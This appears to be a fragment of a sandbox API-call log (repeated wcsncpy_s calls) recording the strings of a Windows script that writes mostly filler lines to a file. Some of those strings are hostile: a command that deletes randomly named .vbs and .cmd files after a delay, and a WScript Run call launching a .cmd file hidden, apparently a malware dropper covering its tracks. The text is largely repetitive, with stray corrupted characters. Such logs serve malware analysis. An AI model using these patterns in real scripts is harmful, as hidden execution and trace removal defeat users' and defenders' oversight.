\");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ec76, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ed60, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ee4a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ef34, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ef7a, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44f01e, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44f064, _SizeInWords=0xbc, _Source="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0xbb | out: _Destination="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44f1da, _SizeInWords=0x17, _Source="ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x16 | out: _Destination="ITextStream.Close();\r\n") returned 0x0 [0155.908] wcsncpy_s (in: _Destination=0x249ca44f206, _SizeInWords=0x17, _Source="IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" 